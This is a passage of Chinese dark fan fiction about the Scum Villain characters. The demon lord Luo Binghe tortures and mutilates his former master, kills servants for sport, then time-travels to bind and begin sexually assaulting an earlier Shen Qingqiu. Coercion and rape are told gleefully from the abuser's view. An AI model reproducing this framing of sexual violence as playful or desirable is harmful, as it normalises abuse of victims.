“你笑什么。”洛冰河看着明显被天魔之血折磨得凄惨的战败者,露出属于上位者的残忍之色:“你不会以为,我把你拼凑出来,是因为‘喜欢’‘宠溺’你吧?” 想到这里,洛冰河忍不住怀疑起另一个世界的真实性。毕竟世间有一个‘梦魇’能操控梦境,又怎知不会有其他人获得类似的能力? 洛冰河将沈清秋拉到自己面前,紧紧的盯着他的眼睛,眼里闪过怀疑:“沈清秋,你当真会‘爱人’吗?” “人如何与畜生为伍?”沈清秋毫不犹豫的吐他一脸血,其眼神之决绝,仿佛要透过皮相看透灵魂:“天道宠儿,故事结束后,还有冥冥之中的天意庇护你吗?” 洛冰河的俊脸一瞬间变得森沉,他最不能容忍别人提及自己的成功乃是天道相助,而沈清秋捉人痛脚的能力真是一如既往的令人厌恶。洛冰河将脸上的血抹干净,把人扔到脚下,右脚如踩石头般压上去:“那又如何?” 洛冰河毫不在意的脚下碾了碾,仿佛脚下的,不是一个活生生的、刚被他组装完成的‘人’,而是一个毫无价值的破烂:“沈清秋,苍穹山覆灭,清静峰全员皆亡。你的师兄弟们早已将你舍弃,你还有什么能耐与我抗衡?” 沈清秋不言语。毕竟是非成败已然明显,他确实输的一败涂地。而沈清秋所留有的,大概也只剩下这条不值钱的命吧。 洛冰河看着冷硬如石头的家伙,脚下的触感告诉他,即便是人体最坚固的头颅,只要他想,随时可以跺碎。 只是——若是洛冰河不愿,沈清秋压根活不到现在;而沈清秋能存活至今,本就是洛冰河刻意为之。如此轻易的被激怒,进而将人一脚踩死,或许正中沈清秋心意? 洛冰河似是想到了什么,控制沈清秋坐到自己旁边,接着‘深情款款’的将沈清秋的手强行拉到自己掌中:“师尊,只要你‘乖’一点,我也可以给你个机会。毕竟……那个世界里,你做的甚好。” 沈清秋毫不犹豫将手抽出来,并附送一巴掌。迅速起身,像是碰到了什么剧毒之物,快速将手反复擦了又擦:“那就去抢啊。畜生不就喜好争夺骨头吗。” 洛冰河终于对‘怀柔’政策丧失兴趣,眼神变得幽暗而危险,某种稍纵即逝的期待彻底被泯灭。他将人强行拽到自己怀里,擒住他的肩膀,以一直不容拒绝的姿态将人压在座椅上:“既然学不乖,那就让我‘亲自教导’好了。” ——(我们是社会主义接班人,绝不瑟瑟) 洛冰河对待自己的后宫,向来温柔如水、体贴入微。但对待自己的敌人,就似狂风暴雨般凌厉迅猛了。尤其是,哪怕知道某人艰难承受,只要对方死扛不吭声,就坚决不罢手。 直至将人压榨至晕眩,便如同用完就丢的傀儡般,如弃敝履的将人扔回地牢。 沈清秋此刻犹如破烂人偶,内无灵力功法护身、外无尖锐利器御敌。唯一可仰仗的,或许就是尚算清醒的头脑、以及这条死不掉的烂命。 他清楚的知道自己的处境,也猛然间明白了那个畜生的想法。 无非是床奴罢了,想以交合来控制住他,将他当成炉鼎,压制他不得翻身。 可笑,一介仙尊,最后沦为炉鼎,在敌人对刑罚打骂失去兴致后,因为这张脸和身子,还能用出后宫的效果,真是将‘资源’发挥到了极致。 洛冰河使的花样不少,传召也很频繁。但即便两人‘如胶似漆’‘形影不离’,洛冰河也从不曾将人从牢里提出来,也不曾给沈清秋改善哪怕一星半点的待遇。毕竟,洛冰河要的又不是后宫,只是一个发泄的玩具罢了。 身为玩具,只要不被毁掉,谁又会在乎呢? 无数的日日夜夜里,沈清秋抬头也看不见月光。即便是白日宣颖,他的眼睛,也会被黑布蒙上,一切感官被放到最大,屈辱与折磨,是对他从不曾跪下的惩罚。 可人的生命与灵魂总是有限度的。终于在某一天,即使是堪称bug的天魔之血,也再也难以为他维持性命。而死亡,是他最为期待的解脱。 第一部分喜欢,就是抢在手里 1.序.跨越时空的开端 1.1沈清秋人呢? “凭什么?凭什么那个废物能拥有那样的沈清秋?” “沈清秋!你个人渣!该受千刀万剐,该尝世间刑罚与苦痛!” “不,不能那么便宜的让你死了,你该好好活着,让你看看我如何登临至尊!” 魔尊又在发脾气了。噼里啪啦的瓷片碎了一地,每个人都在尽量缩小自己的存在感,心里默念“看不见我、看不见我!” 魔尊自从上次受伤之后,经常性大发雷霆,每次还会莫名其妙问旁边伺候的宫女侍卫; “人渣也配收徒教人吗?” 回答“不配”的,得到了魔尊的认可,然后被发疯的魔尊连同宫殿一起捏成碎末; 回答“配”的,被魔尊恶狠狠盯着。接着被魔尊随手一击、化为血雾; 还有一些克克战战的回复“不清楚”,被魔尊以“废物,要你作甚!”,一刀砍了。 至此,所有能回答的路都是死路。 大家只希望轮到自己值班的时候,尽可能压低存在感,让魔尊注意不到,保全自己的小命。 —— “来人!” 屋内传来魔尊的声音。 大家你看我,我看你,推缩着,没有一个人敢上前。 “人呢!都死了吗!” 必须得有人进去了!大家齐刷刷的将方才打瞌睡、现在有些站不稳的甲一推进去:别怪我们,要不然大家得一起死!我们会记住你的! “你们!”被推嚷的甲一立刻清醒,却也双拳敌不过四手,只能硬着头皮行礼: “尊上,不知您有何吩咐?” 好在魔尊虽然语气很冲、身上酒味也很重,却难得的没问‘杀人问题’,而是突然提起一个、从没人在乎的人。 “沈清秋呢?” “这……”甲一看着喝的睡眼萌松的魔尊,一时间摸不清魔尊的想法: 是想要知道他的近况?还是心情不开心想要弄死他?或者是……想要见到沈清秋? “说话!沈清秋人呢!” 魔尊的语气很重。醉酒使得他声音沙哑、脸色通红,刚才的乱抡乱砸使得周围全是碎渣,也使得……魔尊衣衫不整。 当然,身为魔尊一句话就能死翘翘、脑袋挂在裤腰上的苦命人,甲一是一个眼神都不敢乱看: “尊上,沈清秋还在地牢里。” 没摸清魔尊对“沈清秋”的态度前,甲一秉持着“多说多错”的原则,坚决沉默寡言: 要是魔尊想弄死沈清秋还好,若是魔尊突然改性,自己还傻乎乎的说沈清秋要死不活,岂非被暴怒的魔尊给迁怒了! 好在魔尊心情不错,没有计较甲一的小心思,摆摆手道: “去把他给我带上来。” “是。” 甲一走出门外,庆幸自己活着出来。 很快,又出现一个新的难题: 是直接把屡受刑罚、要死不活的沈清秋带上来; 还是先给他梳洗一番,搞的像个人样? 换句话说, 是应该“希望沈清秋多吃苦头” 还是“不能让脏东西污尊上的眼”? 其实“污眼”不污的不重要,重要的是,万一魔尊想与沈清秋“培养感情”,那自己这些小喽啰,都是背锅的大好人选! 他们可不会认为,一个被所有人打压虐待的家伙,出来之后,获得权利之后,还能对虐待过自己的人有多好! 一下子死掉还算好的,若是他笑盈盈的“不计较”,魔尊自有千万种酷刑等着他们! 太难了,侍奉一个喜怒无常、随意杀人的主子,想保全小命真是太艰难了! 要不……联合其他人一起动动手脚,让沈清秋压根没有出地牢的机会? 虽然有些恶毒了点,但是死道友不死贫道啊!牺牲沈清秋一个,他们一群人都能活下去! ———— 1.2沈清秋啊,我就大发慈悲,赐你死亡 ———— 这是他的沈清秋。 一个战败者、一个伪君子的小人、一个所有人都死了,自己也成了这样子,最后还苟延残喘活着的沈清秋。 ——正文—— 洛冰河从另一个世界回来的时候,内心还是愤愤不平的。尤其是当他看到两人的相处模式后,更是激起怒气: 凭什么,凭什么那个废物,可以拥有真正的良师,两个人还能结成伴侣?! 所谓人比人生气、货比货要扔。一个人没吃过糖不重要,但如果他刚刚舔到一丝甜味就被夺走,又看见与自己一般无二的人每天都能抱着糖块吃,那他就要愤怒、感叹世事不公了! 洛冰河什么时候受过这种刺激?他身为两界至尊、魔族之王,谁敢给他气受? 也唯有另一个世界的洛冰河了。 但真的是因为那个世界的废物嘛? 人真的会因自己的双胞胎兄弟而悲伤嘛? 他感到愤怒的、愤恨的、暴怒的,是幼年时期遇到坑货的自己啊! 洛冰河随手招来一人,让他把沈清秋带上来。 很快,四肢光秃秃,脸上也只剩下一只眼睛,连舌头都被割掉的沈清秋被送了上来。 这是他的沈清秋。 一个战败者、一个伪君子的小人、一个所有人都死了,自己也成了这样子,最后还苟延残喘活着的沈清秋。 这样的人,别说现在满身脏污,就算是洗干净扔床上,洛冰河看也不想看一眼! 对此,洛冰河更恨了。 凭什么,凭什么那个废物,拥有的是温柔版师尊;而自己,却要从小被他欺压,被他各种折辱,连万剑峰的灵剑都是穹顶峰开的资格,仙盟大会的名额、都是自己打败了清净峰所有人才换得的! 他的一切都是凭自己的得来的: 沈清秋给的修炼功法是假的,所以他练不成。只能与仙姝峰妹子们打交道,一点点从他们那里套来内功心法。 沈清秋平日里对他非打即骂,明帆及其狗腿更是学得有模有样,各种杂务都是他去跑腿,有时候食堂去的晚了,连饭菜都不曾剩下。亏的洛冰河提前讨得宁嘤嘤欢心,每次让她提前帮自己留饭。 魔族第一次入侵穹顶峰的时候,正赶上明帆带领诸位弟子前去接应沈清秋,毕竟沈清秋是个好面子的人,出关这种大事,怎么能不排场一下?可若不是宁嘤嘤通知自己,明帆压根没打算喊他! 就连仙盟大会上,沈清秋发现自己的天魔印记,也是毫不留情的将自己一脚踢下深渊。若不是他之前师承梦魇,又靠着天魔之血的强悍恢复能力,早就死的渣都不剩了! 这样的人,洛冰河为什么不恨? 可那个小畜牲呢?他虽刚入门时候受到一些折辱,可后面很快就被弥补上。年纪到了直接去万剑峰取剑,该到历练的时刻完全不需要担心修炼资源,仙盟大会开启也完全不需要担心参赛名额。 就连落下无尽深渊,小畜生也比自己早出来两年! 更何况,那个沈清秋,愿意为了他抚平心魔剑反噬、灵气暴动而自爆!后面在秃驴的地盘,更是愿意为了他与苍穹山派断绝联系! 这样的沈清秋,让洛冰河如何不羡慕,如何不恨? 洛冰河看着台下要死不活的肮脏玩意,可能是烦躁,有可能是腻味,亦或者是反胃,终于大发慈悲的,给沈清秋一个痛快:被天魔之血操控之人,连死,都不是他自己能决定的! 1.3谁能拒绝神的堕落呢 ———— 问,对于一个你本来就非常讨厌的人,突然有一天你发现了他的秘密。 这时候你选择: 1、威胁:你也不想你的秘密人尽皆知吧? 2、打击,直接令他跌入谷底,再也爬不起来。 很明显,现在的状况就是,两个人分别掌握了对方的秘密: 某个无良师尊,对于一直不喜欢的弟子,发现他不容于修真界后,干脆利落的送他回他该去的地方——至于摔下悬崖是会活着获取神功,还是直接摔成肉饼,这个并不重要。重要的是讨人厌的家伙终于离开自己视线了,合情合理,不会给自己带来麻烦。 某个心怀鬼扯的弟子,原打算狠狠报复折腾自己的人,却意外窥探到了另一种开展,于是兴冲冲回来打算搞一搞,结果被自己之前的行为结果(遍体鳞伤的战败者,苟延残喘却因天魔血死不了)给恶心到了,如此惨烈的对比,一气之下将人了结了。 可是吧,如果一件事情本身你做完了,一个食物你吃过了,你是不会有兴趣去一直想他的——除非那个真的超级好吃! 但如果,有一个东西,你拥有过,但是你将他搞成渣渣了——可另一个人,尤其还是你的双胞胎兄弟,他将那个东西保存完好不说,两个人简直如胶似漆,一出现就没眼看下去。 这样的存在,怎么能不让人心痒痒,想破坏(别人的),或者,修复(自己的)呢? 而且众所周知,冰哥是两个世界的武林至尊,他身为龙傲天的一生,那是当真非常傲气,完全不觉得失败算什么,他只认为一时的挫败,只是成功之前的小波折——心态那叫一个棒滴很。 当他看不下去被自己折腾的不成人样的沈清秋后,他的脑海里自然的出现两条路: 1.将别人的抢过来。这个并不难,毕竟谁敢跟主角抢妹子,谁就得死!另一个世界的自己也不行! 2.将自己的那个拼接起来,好生呵护。这个挺难的,毕竟男频大男主,真心不想花心思在后宫身上! 所以,衍生出第三条路——穿越时空,去之前的某个时间点,将人带回来! 至于产生的什么‘祖母悖论(如果你穿越时空阻止了你祖母与祖父相遇,那么你是否还存在?)’,什么‘衔尾蛇(当一条蛇咬着尾巴直到吞掉了自己的脑袋,那么这个物品是否是一个逻辑紧密闭合的‘圆’?)逻辑’,对于冰哥来说,这些都不重要。 毕竟,小说才需要逻辑,现实不需要!冰哥只要能过去,管那个时空的洛冰河作甚~又不是没打过(傲然脸)——至于将那个时空的师尊带回来,是否会导致自己的存在发生改变... 改就改咯~冰哥什么也不怂的好吧! 在这样的思路引导之下,冰哥耗费了大量的精力和时间来钻研那神秘而复杂的破碎时空。他夜以继日地沉浸其中,不断探索着其中的奥秘与规律。经过长时间的努力,他终于运用自己独特的技巧和方法,成功地找到了“穿越”的精确时空点,并将其精准定位在仙盟大会之后。 这一决策当然不是随意为之,而是经过了深思熟虑后——理论上,这个特定的时间段内存在着长达五年之久的空白期。无论是穿越过去的时间点存在什么样的误差,都不会出现另一个世界的洛冰河搅局! 毕竟,谁知道这次穿越的地方,是自己记忆中的‘之前’,还是另一个世界的‘之前’,亦或是又一个不同时空呢? 给自己更多的容错率,减少敌人可能会出现的概率,是必须要考虑到的。 而且吧,据他所知,无论是自己世界还是那个洛冰河的世界,在跌入深渊之前,两个人的关系都是‘君子之交淡如水’的‘泛泛之交’,省的一过去就得面对大动干戈或者如胶似漆,冰哥也好切入手些。 毕竟——那个世界的沈清秋,着实有些过于热情了点。 如此一来,即使出现一些意外情况或者误差,也能有足够的余地进行调整和弥补,从而大大提高了整个计划的容错率。可以说,冰哥的这一步棋走得极其精妙且谨慎,为后续故事的发展奠定了坚实的基础。 当然,意外之喜就是,冰哥运气很好,刚好是沈清秋把自己踹下悬崖的时刻——这时候的沈清秋,只认为自己是个魔族奸细。冰哥甚至还能回忆起来当时他脸上的震惊与愤怒! 多好的切入点啊,多棒的时刻啊。多么,诱人啊。 沈清秋本就应该如此。 高高在上的仙人啊!他的身上永远都散发着一种清冷出尘的气质,仿佛不食人间烟火一般;他的眼神冷漠而又疏离,让人不敢轻易靠近;他总是板着一张脸,对任何人都是一副冷冰冰的样子,似乎这个世界上没有什么事情能够引起他的兴趣。 而且,他说话也总是那么刻薄无情,每一句话都像一把利刃,深深地刺痛着别人的心。他似乎从来不会考虑别人的感受,只按照自己的想法去做事情。即使有人向他求助,他也会毫不犹豫地拒绝,甚至还会说出一些恶毒的话语来打击对方——比如,那个惨死于他剑下的柳清歌? 这样的沈清秋,让爱慕于他的冷漠强大,又愤恨于他的冷酷无情,真是无法抗拒他的魅力。 这样的人,将他拉下泥潭,陷入床弟之中,才更有趣味,更有挑战性啊! 毕竟,谁能不爱看神的堕落呢!谁能够抵挡得住那种高高在上的存在,因为某种原因而逐渐走向黑暗、沉沦的故事呢?这其中蕴含的戏剧性和曲弯波折,足以让人沉醉其中,无法自拔。 想象一下,一个曾经被众人景仰、视为无敌的神祇,却因为内心的执念或者外界的诱惑,慢慢失去了自己的信仰和原则,最终陷入无尽的黑暗之中。这样的情节是多么有趣啊!强烈的好奇心和探索欲望,想要让人知道这位神祇到底经历了什么,又是如何一步步走向堕落的深渊。 如果说,还是因为自己....哦,天哪,谁能拒绝这个诱惑! 冰哥已经迫不及待地想要投身于这样的奇幻世界中,准备大干一场了! 8. 冰将其他世界的九拐走 .想要的,就要亲自取回来 2.1震惊,沈清秋竟然喜欢半老徐娘? ———— 那么多良家妇女不喜欢,偏爱来青楼勾栏;那么多鲜嫩妹子不喜欢,偏爱半老徐娘! ——正文—— 解决了沈清秋,洛冰河心里并不能平静。 不得不承认,那个世界的沈清秋太吸引人,他真的很想抢过来。 当然,身为龙傲天的洛冰河(冰哥),也有这个资本。但是他迟迟未动的原因,除了觉得那两人污染自己的眼睛,还有小小的,几乎微不足道到看不见的一部分: 他想要将自己的人渣沈清秋狠狠的压到身下,听他泣不成声的哭喊,听他爽到极致的眉叫,看他在自己身下婉转承恩,绞喘连连。 但是!他要完整的,没有战败的,风流倜傥,傲然清冷的沈清秋! 绝不是刚才那个看着就污眼睛的恶心玩意。 ———— 洛冰河一贯说到做到,当他发现自己对沈清秋起了心思的时候,果断筛选了一下时间线,决定将时间跳转到数年前,仙盟大会沈清秋将自己无尽深渊的时候。 洛冰河是绝对不会承认沈清秋那么惨是自己造成的!但是他心里也知道,若不是他从魔界归来,沈清秋即使以及犯下了诸多罪过,却还是能活的风光霁月,披好伪君子的外皮! 至于去哪里找呢?是清净峰故地重游,还是暖春阁风花雪月? 这个嘛。就让沈清秋决定好了。 毕竟,洛冰河在床笫之事上,一向是很尊重伴侣的~ —— 运气不错,刚到苍穹山派脚下,洛冰河就看见了独行的沈清秋。 他悄无声息的躲在树后,紧紧跟随沈清秋的脚步。 大概是他心里也有事情在思考吧,沈清秋压根没留意周围的环境,脚步飞快的朝小镇走去,大摇大摆的进了暖红阁。 “还真是不客气”,洛冰河暗叹一句,突然明白了那些流言为什么压不住:这当事人是真的一点伪装也没有,就这么穿着标志性衣物、顶着那张看一眼就忘不掉的脸进去了! 洛冰河紧紧跟着沈清秋的步子,趁他不注意,躲在一旁的柱子上偷看: ‘这可是熟客啊,看这几位头牌的样子,一个个都犯起了花痴,这还不得大打出手?’ 对于女子们的争风吃醋,洛冰河又不是聋子瞎子,自然是有所了解的。但是他毕竟是两界之主,每日关心的是手下听不听话,哪里出现叛乱,那个人心存鬼彻,实在是没空听什么: 甲抢了乙心爱的布匹;丙把丁推下了花园;甲的侍女某天对乙的侍女因之前的事情对骂;丙的侍女又举报乙的侍女和侍卫通奸;哪位又与哪位太医有染;哪个又跟哪个进行了扯皮;谁又因为谁生了一场大病;哪个又用鞭子划伤了哪位的脸庞? 诸如此类,林林总总的,鸡毛蒜皮的小事…… 所以。洛冰河知道后宫没表面那么平静,彼此之间说不定还有什么恩怨情仇,可是他没那么多闲工夫,随便找个靠得住、辩得清的当主位,将其他杂七杂八的家伙压下去,就够了。 其实,针对于后宫的女人和行兵打仗,没有什么不同。哪个人的周围会没有点摩擦呢?只要在我需要你的时候,你们能够团结起来,然后跟我一起打仗,把敌人解决掉就可以了。 其他的都是小问题。就算彼此打死了,也无所谓。反正女人那么多,他不缺哪一个。 嗯。尤其是现在,大权在握,权利集中于一人,更不需要顾及其他人了。 很难得的,最后胜出者,居然是个半老徐娘? 洛冰河看着即使脂粉齐全、盛装打扮却也只显成熟的女人,心里莫名感觉:……这家伙的癖好真的很怪啊! 那么多良家妇女不喜欢,偏爱来青楼勾栏;那么多鲜嫩妹子不喜欢,偏爱半老徐娘! 洛冰河又仔细打量了一番刚才争奇斗艳的姑娘们,竟发现他们的妆容都是朝成熟里打扮,一个个十多岁的鲜嫩菇凉愣是画成一副二十多的样子! 洛冰河来不及再次感叹,紧跟着胜出者的小碎步,敲响了沈清秋所在的厢房。 ———————— 2.2师尊,你可承得住洛冰河亲自揉肩? ———— 大概,洛冰河是在''模仿''吧。他下意识的认为,如果自己温柔体贴一点,沈清秋也可以变得的如那个世界的''沈清秋''。 ——正文—— 沈清秋大概是真的在思考什么很麻烦的事情,就连有人进来都没有察觉到。 青楼女轻轻将茶水和糕点放在桌上,行了一礼,就快步走到屏风后面,轻弹琴弦。 轻快流畅的曲音极大的缓解了沈清秋紧皱的眉头,他对着窗外的景色,细细倒了杯茶水,静静的望着。 怎么说呢,沈清秋的皮相是非常完美的。这个完美不仅包含着他的脸,就连身子,都线条流畅,身立如竹。平日里总喜欢拿本书装样子,看着就是一身墨香气,又喜薰清竹香,淡淡环绕在身侧,真乃君子也! 别的不说,就这一身书生气,配之临窗看风景,即可入画! 洛冰河不由感叹:‘这才是我想要的沈清秋啊’,外表皮相完美,即使身处胭脂女郎之间也难掩其俊美,风流倜傥,玉树临风,若不是洛冰河深知其恶毒刻薄的内里,当真也会被其外表哄骗,真真的金玉其外败絮其中! —— 洛冰河随手将弹琴的姑娘打晕,确保她至少能昏睡一天,又接过她手中的旋乐,十指纷飞。行云流水间,竟没有一丝停滞。 一曲毕,洛冰河从屏风隔断后走出,轻柔的给沈清秋揉着肩膀——能听到洛冰河弹琴,享受洛冰河服务的人可不多,也不知沈清秋能不能承得住? 沈清秋就像是天生的享受者,完全没有半点介意的样子,任凭洛冰河为他舒缓肩膀——一点也看不出来,传闻中清净峰峰主沈清秋极其厌恶与人接触。 当然,也可能是,厌恶与……男人,接触。 毕竟,沈清秋对宁嘤嘤也没少关注,洛冰河就不信他不曾对宁嘤嘤有过躯体指点、摸头、整理头发之类! 沈清秋享受着洛冰河的揉肩,时不时轻抿一口茶水,悠然自得。 洛冰河虽一开始由于莫名的情绪想弹琴、揉捏,但看着如此清闲悠然的沈清秋,他心里却突然升起暴虐之情: 按照时间线,这时仙盟大会已经结束,''洛冰河''也被沈清秋亲自踹下无尽深渊。洛冰河在深渊下累死累活的拼命求生,沈清秋却在女人堆里风花雪月、抚琴作画、沾花惹草? 这可真是,想一想,就忍不住恼火的程度啊…… 洛冰河心里不爽,手上力气就加大几分,沈清秋感受到疼痛,随手用扇子敲了他一下,提示他收敛力道。 洛冰河看着''敲打''自己的折扇,突然想到了那个世界里的柳清歌。无他,那个''沈清秋''的记忆里,柳清歌与折扇,实在是渊源颇深! 想到这里,洛冰河突然伸手将沈清秋伸过来的折扇抓住。其实他也没什么原因,就是突然想到了,就去做了。 就像是他看见另一个世界里''洛冰河''为''沈清秋''揉肩捶腿,钻研厨艺,两人其乐融融的氛围,使的洛冰河看见美的像幅画的沈清秋靠窗喝茶、欣赏风景,禁不住走上前去给他揉捏肩膀。 大概,洛冰河是在''模仿''吧。他下意识的认为,如果自己温柔体贴一点,沈清秋也可以变得的如那个世界的''沈清秋''。 但是太可惜了。 如果洛冰河没有手欠去抓沈清秋的扇子,沈清秋也不会扭头回望。 更进一步说,如果洛冰河没有突然手上力道加重,沈清秋也不会为了提醒他而用扇子敲打他。 或者如果洛冰河没有一时兴起给沈清秋揉肩,沈清秋只会继续靠窗看风景…… 2.3是啊,就凭我呢,师尊 ———— “虽然你能打败清净峰的那帮废物弟子,但是对上我,你打不过。” “是嘛?若是弟子打过了,师尊可不要吃惊。” ——正文—— 现在的结果是。 沈清秋在回头的一瞬间,厌恶之情瞬间遍布,立刻站起来,对着肩膀施清洁诀,背靠窗户、时刻准备跳窗。他脸色阴沉难看,语气恶毒又凝重:“洛冰河?你这个畜牲怎么敢出现在这里?” 这时候的沈清秋没有被洛冰河折磨过,所以他只有厌恶和反感,没有立刻想逃的恐慌和对灭派仇人的仇恨。当然,也不知道洛冰河的可怕。 “师尊说哪里话,这风月场所,师尊来得,弟子如何来不得?” 洛冰河避重就轻,看着面前仙气飘飘、道貌岸然、儒雅风流的沈清秋,难得的闪过一丝怀念。毕竟,他世界线的沈清秋,早已被折磨的不成人样。 沈清秋被洛冰河莫名其妙的视线,恶心的茶水都喝不下去,他重重的将茶杯放到桌子上,及其厌恶的看着洛冰河: “你知道我说的不是这个,魔族又有什么阴谋诡计,竟又派你这个卧底前来?” “卧底?”洛冰河仔细琢磨着这两个字,突然笑得灿烂:“所以师尊认为我是魔族派来潜伏的?” “不然呢?”沈清秋面无表情:“我亲自将你踹下去,不出三天你就再次出现,难不成是你命大,卡在半山腰不成?” “噗,师尊说得对”洛冰河笑得愉悦,他已悄悄封锁整个厢房的空间,沈清秋,已逃不出他的手掌心。既然如此,倒可以和他''好好聊聊'': “所以师尊认为,弟子应当是魔族潜伏已久的卧底,巧合之下被您发现,您为民除害,将弟子打下深渊?” “……”沈清秋露出厌烦到极致的表情,像是不想与他多交谈,手已经放在了窗台一侧,时刻准备翻窗离开。 “师尊啊,别想逃,弟子不会让你轻易逃跑的。” “就凭你?”沈清秋不屑的看了洛冰河一眼,仔细想了想,问了句: “你们魔族真没有什么要告诉修真界的?让一个在修真界伪装近十年的奸细跑出来,就为了说几句话?你千里迢迢赶来,究竟有何贵干?” 洛冰河看着沈清秋高深莫测的表情,知道他已经陷入阴谋论。毕竟他自己是个尖酸刻薄、暗地里动手脚的小人,自然也会认为别人跟他一样,处处憋着坏。 想到这里,洛冰河''噗呲''笑了一声,此时的沈清秋是真的不知道自己厉害,若是牢里那个,恐怕看见自己的一瞬间就直接跑路了,哪里会与自己毫无戒心的说这么久,还对自己如此''不屑''? “噗,对啊,就凭我,师尊是不相信弟子的实力吗?” 洛冰河决定逗一逗他,毕竟看一个无知者挑衅自己被轻易撂倒,怎么想都觉得很有趣啊! 果然,此时的沈清秋无知者无畏,他皱着眉看了洛冰河一眼,理直气壮: “虽然你能打败清净峰的那帮废物弟子,但是对上我,你打不过。” 洛冰河简直要被沈清秋的自信笑到肚子痛了,大概是固有思维太重,也可能是过于不重视,沈清秋到现在还没发现自己与''年幼洛冰河''的区别。不过嘛,不枉费洛冰河专程跑一趟,又刻意修改体型到青年时期。 只能说,得来全不费工夫啊: “是嘛?若是弟子打过了,师尊可不要吃惊。” ———— 打斗。 ———— 2.4轻拢慢捻抹复挑 ———— 洛冰河慢条斯理的将鞋袜解开扔下去,又捉住另一只作乱的脚,轻敲了一下他的脚面:“别乱动,踢脏了我们怎么睡?” ——正文—— 待尘埃落定,沈清秋被洛冰河压在地上,用捆仙锁束缚住。整个人五花大绑,就像是菜市场上被线绑住的螃蟹一样,再也没办法挥舞自己威武的武器。 沈清秋一边偷偷运转被禁锢的灵力,试图冲破捆仙锁的限制。一边用谈话转移洛冰河的注意力: “这才是你的真正实力?你之前竟然都是伪装?!” “这……”洛冰河轻笑,将被钳制的沈清秋扔到床上,心情愉悦:“师尊,弟子早就告诉您了,是您不信啊” 沈清秋被捆住手脚扔在床上,看着越离越近的洛冰河,他突然有了一丝不好的预感,疯狂向内翻滚到墙边。抵着坚硬厚实的墙壁,心下微定: “小畜牲,你要干什么?” 沈清秋原以为洛冰河不会回答自己,所以打算抬头自己看。这一看不要紧,洛冰河这家伙居然在解腰带?! 这是什么恐怖故事!沈清秋被捆仙锁禁锢灵力,甚至连胳膊都不能自由活动,此时被扔到床上。 而捆住自己的人,居然在脱衣服?! “师尊……弟子等这一天,可是等了很久呢。” 洛冰河不开口则已,一鸣惊人,他轻描淡写的一句话,引起沈清秋内心千层浪! 沈清秋看着被洛冰河宽大的身影遮挡住的光线,心里升起极致的恐慌。他忍不住将背与墙贴的更紧些,慌不择言: “滚!你给劳资滚远点!” 可惜言语实在是无用的东西,洛冰河丝毫不受阻拦的快速将外衣脱掉,随手一弹,支起的窗户被关上,谢绝旁人的目光。 至于湘门,早在洛冰河进来的那一刻,就被魔气死死锁住,除非有人能修为超过洛冰河,否则都别想进来。 “师尊,别急着拒绝弟子,”洛冰河随便的将鞋踢掉,伸手捞过沈清秋乱蹬的双脚,慢悠悠的解着捆绳: 自己的衣服鞋子可以迅速解决,给床笫伴侣脱衣解袜,那是情趣!若是沈清秋愿意给自己脱衣服,那更是享受! 之前为了方便,洛冰河将沈清秋的双手放在身前,简单的从肩膀、胳膊肘、腰部等地绑了一圈。反正洛冰河需要的只是沈清秋失去灵力,至于会不会解脱,洛冰河能绑他一次,就能有无数次! 若不是一时半会没想好要不要喂天魔血,他决计不需要捆仙锁帮忙。 天魔之血比他好用多了,控制人只需要一个念头。捆仙锁往往只能五花大绑,被绑的不舒服就算了,洛冰河想要剥沈清秋衣服,也很困难啊! 总不能一剑将衣服破坏,然后让他穿自己的吧? 虽然……好像也行? 把对方衣服弄破损,让对方穿自己的衣服…… 听起来就很有趣!简直非常有趣! 想到这里,洛冰河两眼放光,手又开始不正经起来:已经解决了衣服的问题,人也被牢牢控制住,还有什么好考虑的呢? 沈清秋全身灵力被捆仙绳所禁,单凭力气无法摆脱洛冰河的脱鞋服务,气急败坏的他张口就骂: “我竟不知自己养了个欺师妄上的徒弟!我没喝你的敬师茶,不是你师傅!有一个你们魔族当弟子,我脸上都无光!” 洛冰河慢条斯理的将鞋袜解开扔下去,又捉住另一只作乱的脚,轻敲了一下他的脚面:“别乱动,踢脏了我们怎么睡?” “洛!冰!河!”沈清秋脸色瞬间爆红,羞耻难安:“劳资不是宁嘤嘤,不需要你操心,你给劳资滚远点就行!” 洛冰河惊奇的看了眼沈清秋,像是听到了什么极其令人震惊的话语:“师尊,别人都说你对宁嘤嘤极为关心,如今看来,传言并非空穴来风啊!” 至于真假,宁嘤嘤还在洛冰河后宫里老实待着呢,洛冰河怎么可能不知道沈清秋勾搭女弟子的真相? 只不过,甭管真相如何,现在都可以拿来刺激沈清秋,这就足够了。“你!”沈清秋似是被气炸了,像只炸毛的猫一样,傲娇的冷哼一声,径直平躺,将身体缩在床铺和墙壁之间,一言不发,拒绝交谈的意义非常明显。 2.5师尊啊,你再疯狂下去,弟子只能废你修为了 ———— 沈清秋的反抗程度越来越大,哪怕是灵力被封的情况下,洛冰河也能感觉到床铺在震动……他真的很担心一会床塌了,两个人是不是要打地铺。 ——正文—— 不过嘛,洛冰河大费周章的将沈清秋捆起来,可不是与他打嘴仗的。有着另一个世界与沈清秋''同床共枕''的经验,再加上此时的沈清秋儒雅俊美,风度翩翩,着实是勾的人心痒痒的。 洛冰河不是什么禁欲的人,平日里对后宫也是想去就去,几个人一起也不算什么。既然他已不再打算与沈清言语交锋,那就直接干自己想干的事情吧! 洛冰河欺身压上,给沈清秋摆换个姿势,将他的后背贴进自己怀里。靠床的手穿过枕头与沈清秋脖子的缝隙,另一只手快速镇压挣扎的沈清秋。 被控制的沈清秋疯狂挣扎,却抵不过洛冰河一只手。更何况,洛冰河贴的太近了,更是将一只腿放到了沈清秋身上,沈清秋能清楚感受到背部的暖意,和某一处的烫感! 他努力挣扎,嘴里乱骂: “洛冰河!你个畜牲!你怎么敢的?” 对于沈清秋的反抗,洛冰河心中有数,反正都逃不过自己的手掌心,让他骂骂,发泄一下情绪也好,万一回头郁闷坏了,洛冰河会心疼的~ 毕竟是将来的后宫之一,洛冰河对自己的后宫,还是很照顾的: “师尊,敢不敢的,您不是都''感受''到了吗?” 洛冰河身体力行,另一只手不老实的游动,思考着从哪里下手——毕竟怀里的人被五花大绑呢,他可没有什么s/m的癖好,喜欢绑着人共赴极乐。 当然,洛冰河的好意,沈清秋是体会不到的。 对于洛冰河的''友好未来想象'',沈清秋只想杀人: “我怎么会遇见如此寡颜薄耻的家伙!你们魔族都不要脸的吗?你在修真界待那么久,连''廉耻''两个字都不会写?洛冰河你''最好杀了我,否则总有一天我要弄死你!” 看着完全不配合的沈清秋,洛冰河叹了口气,再次感慨天道对另一个世界的废物太过宠爱! 